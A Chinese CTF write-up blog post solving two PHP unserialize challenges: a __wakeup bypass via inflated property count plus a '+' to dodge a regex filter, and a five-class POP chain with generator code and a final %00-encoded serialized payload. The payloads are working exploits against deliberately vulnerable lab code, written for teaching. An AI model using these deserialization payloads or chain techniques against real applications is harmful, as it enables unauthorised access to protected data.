weekly-反序列化两道CTF练习题

文章目录


光说不练假把式,做点题,本次是某天的weekly-ctf的两道反序列化

EZ-unserialize

这是一个User类,定义了三个魔术方法,我们上一篇文章介绍了分别在什么时候调用,反序列化重建对象时会调用wakeup函数,在结束时会调用destruct

class User{
    function __construct($name,$pass){
        $this->name = $name;
        $this->pass = $pass;
    }
    function __wakeup(){
        if($this->name!='admin' or $this->pass!=mt_rand()){
            $this->name = 'guest';
            $this->isAdmin = false;
        }
    }
    function __destruct(){
        echo 'Hello'.$this->name;
        if(isset($this->isAdmin) and $this->isAdmin===true){
            highlight_file('/flag');
        }    
    }
}

isAdmin、name、pass都是通过$this赋值的动态属性,我们反序列化的值通过属性名:属性值就可以传值

function filter($str){
    if (preg_match('/o:\d+/i',$str))
        die('Not allow');
    return $str;
}

if(!isset($_GET['pop'])){
    highlight_file(__file__);
    $user = new User('guest','guest');
}else{
    echo unserialize(filter($_GET['pop']));
}

第一个函数是正则匹配过滤,只要 o: 后是数字就过滤,这是反序列化字符串的它的固定格式

最后一个就是接收GET方式接收pop参数,没有就新建一个对象,自动调用construct函数,name为guest!参数存在就输出代码执行的结果,先过滤,后反序列化执行代码,思路如下

构造pop参数:序列化的字符串(反序列化会调用wakeup和destruct)
绕过过滤函数
wakeup判断name如果不等于admin或者pass不等于随机整数的值,就将name和isadmin赋值
destruct输出字符串,判断如果isAdmin存在且值为true,就显示flag

如果执行了wakeup函数,那么isAdmin就会重新赋值为false,flag就,所以要进行绕过不执行wakeup,这里新的知识点就是当属性个数大于真实的属性个数就会不执行(PHP5 < 5.6.25、PHP7 < 7.0.10)

payload如下

pop=O:+4:"User":4:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;}

我们一共传了两个参数,name=admin,isAdmin=true,属性个数为4,绕过wakeup,isAdmin这里赋值为true,自己new一个对象,true值序列化后得到b:1,同学们不要尝试赋值为字符串true,最后通过加号绕过过滤

pop=O:+4:"User":4:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;}

加上一个加号可以正常反序列化,不影响值(所有的绕过都是基于语句可以正常解析),至于为什么是加号,我也不知道

url编码(其实只有加号需要进行编码,因为浏览器会自动将url编码,提前编码防止加号被解析成空格)

pop=O%3A%2B4%3A%22User%22%3A4%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D

在这里插入图片描述

POP

同样的pop参数,有5个class类,没有过滤函数

边做边看:php面向对象

查看flag相关代码,发现是要将5个类里面的魔法函数全调用个遍

'__wakeup','__destruct','__get','__set','__invoke','__call','__isset','__unset','__toString'

两个问题,一是这些函数什么时候调用,二是多个类调用的写法

简单写一个类,包括这几个魔法函数,前两个说过不再提

__get            //获得一个类的成员变量时调用

通过pop传参测试,被调用就输出自己被调用的提示,调用对象a的属性arg1

@$pop = $_GET['pop'];
if(isset($pop)){
    $a = new C5;
    echo($a->arg1);
}
//  private $arg1;开头定义了类的两个属性
//  protected $arg2;

在这里插入图片描述

__set            //设置一个类的成员变量时调用
$a = new C5;
echo($a->arg1=3);

(注:这些都是在浏览器输出结果的截图)

在这里插入图片描述

__invoke         //把对象当函数调用时调用,据说(我没有测试)需要php大于5.3.0
$a = new C5;
$a();

在这里插入图片描述

__call           //在对象中调用一个不可访问方法或不存在的方法时调用
$a = new C5;
$a->a();//第一种:不存在a方法

protected function a(){}
$a->a();//第二种:a方法不允许访问 protected和private

在这里插入图片描述

__isset          //当对不可访问属性调用isset()或empty()时调用
$a = new C5;
//private $arg1;
//protected $arg2;
isset($a->arg1);
empty($a->arg2);

在这里插入图片描述

__unset          //当在对象外部对类的不可访问属性调用unset()函数时调用,有了__unset魔法函数,所有类型的属性都可以通过__unset删除
$a = new C5;
unset($a->arg1);

在这里插入图片描述

__toString       //对象被当成字符使用时调用,不止是echo输出
$a = new C5;
echo $a;

在这里插入图片描述

这些方法一般是为了将数据放到类内进行操作

回看代码,咱一个个分析

@$pop = $_GET['pop'];
if(isset($pop)){
    unserialize($pop);

唯一输入点是pop,存在则反序列化,这里反序列化函数会调用__wakeup方法,最后调用__destruct方法

C1类(精简)

class C1{
    private $arg1;
    private $arg2;
    function __wakeup(){
        if(empty($this->arg1->arg2))
            die('arg1 can not empty'.'<br>');
    }
    function __destruct(){
        if($result==$check)
            highlight_file('/flag');
    }
}

$arg1$arg2都是私有变量,是无法在类外赋值调用的

在这里插入图片描述

php中箭头是调用类的属性和方法的运算符,这个$this->arg1->arg2写法我不太懂什么意思,开始以为是一种特殊的调用写法

其实解题思路就是将$this->arg1定义为一个其他类的实例化对象,然后再去调用该类的arg2属性就可以了,构造调用链

在类A中实例化类B,不能直接给类内属性赋值,需要在类的函数内,且需加括号

<?php
class A{
    function __construct(){
        $arg = new B();
        $arg->hello();
    }
}
class B{
    function hello(){
        echo 'success';
    }
    
}
$a = new A;
//success

wakeup进,捋一下顺序(这里只是思路,与实际代码有出入)

1
C1-wakeup //empty访问私有变量arg2调用isset empty($this->arg1->arg2)
$c1->arg1=$C4;   //因为是存在于C4中,所以是访问C4的arg2
2
C4-isset   $this->$name 
// call_user_fun()将第一个参数当作函数调用
$c4->name  // 是对象则调用c3-invoke 不可访问函数则调用c3-call
//因为$name没有调用c类的函数的操作(->箭头),所以应该是invoke
$c4->name=$c3;//设置为c3类
3
C3-invoke      
invoke--$this->arg1->arg2//获取私有变量,调用c2-get
$c3->arg1=$c2;
4
C2-get  echo $this->$name;//(这里后面有解释)
//全文唯一一个echo,tostring没跑
$c2->name=$c5;
5
C5-toString  unset($this->arg2->arg1)
//很简单,C4-unset
$c5->arg2=$c4;
6
C4-unset   $this->$name->fun($this->arg2)
//剩下的C3-call
$c4->name=$c3;//是否需要参数arg2
7
C3-call    $this->arg1->arg2=$name
//不可访问属性赋值 调用C2-set
$c3->arg1=$c2;//是否需要$name?
8
C2-set       //到这里就结束了,不需要它调用destruct
9
C1-destruct //判断全部调用后高亮显示flag

把过程中用到的变量定义一下,从C1开始,就序列化C1对象就行

前面说过在类外设置私有属性是不行的,改成public它的序列化后长度又是不同的,所以要在类内直接设置,且序列化后的私有变量,它的类名前后要加上%00,这样反序列化的结果就可以给私有属性赋值

在C4-isset中有一个$this->$name,这里的意思是如果将$name赋值为字符a,会获取$a的值

<?php
class Test{
public $name = "abc";
public $abc = "test";

public function Test(){
  $name1 = "name";
  echo $this->name; // 输出abc
  echo $this->$name1; // 输出abc,因为 $name1 的值是name,相当与这里替换成 echo $this->name;
  $name2 = $this->$name1; //$name2 的值是 abc
  echo $this->$name2; //输出 test,同上,相当与是echo $this->abc;
}

至此,基本的困惑都解决了,可以开始构造序列化数据

(这里invoke代码抄错,导致我研究了1天发现怎么都构造不出来,希望大家不要犯这种错误)

<?php
class C1{
    private $arg1;
    function __construct(){
        $this->arg1=new C4();//构造
        if(empty($this->arg1->arg2))
            echo '<br>no<br>';
    }
}
class C2{
    private $arg2;
    function __get($name){
        $this->arg2=new C5();
        echo $this->$name;
        return $this->$name;
    }
    function __set($name,$value){
        echo 'set';
    }
}
class C3{
    private $arg1;
    function __invoke(){
        $this->arg1=new C2();
        return $this->arg1->arg2;
    }
    function __call($name,$arguments){
        $this->arg1=new C2();
        $this->arg1->arg2=$name;
    }
}
class C4{
    private $arg1;
    private $arg2;
    function __isset($name){
        //传进来的是字符串arg2
        $this->arg2= new C3();
        call_user_func($this->$name,$this->arg1);
    }
    function __unset($name){
        $this->arg1=new C3();
        $this->$name->fun($this->arg2);
    } 
}
class C5{
    private $arg2;
    function __toString(){
        $this->arg2=new C4();
        unset($this->arg2->arg1);
        return 'noting';
    }
}

$a = new C1;
var_dump(serialize($a));

私有变量类名加%00,最终payload如下

O:2:"C1":1:{s:8:"%00C1%00arg1";O:2:"C4":2:{s:8:"%00C4%00arg1";N;s:8:"%00C4%00arg2";O:2:"C3":1:{s:8:"%00C3%00arg1";O:2:"C2":1:{s:8:"%00C2%00arg2";O:2:"C5":1:{s:8:"%00C5%00arg2";O:2:"C4":2:{s:8:"%00C4%00arg1";O:2:"C3":1:{s:8:"%00C3%00arg1";O:2:"C2":1:{s:8:"%00C2%00arg2";N;}}s:8:"%00C4%00arg2";N;}}}}}}

可以看到9个函数全部调用(报错不影响)

在这里插入图片描述

yes!

在这里插入图片描述

我反思了一下为什么这里用了这么长时间,回看发现没有什么难点,但是对php类的使用不熟悉,对序列化的一些用法也不熟悉,比如加%00这个,不搜一下永远不会想到,在类内调用其他类的特殊写法也不知道…没有参考答案,只能一点点查,而且很多时候根本不知道哪里有问题,搜都无处下手

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值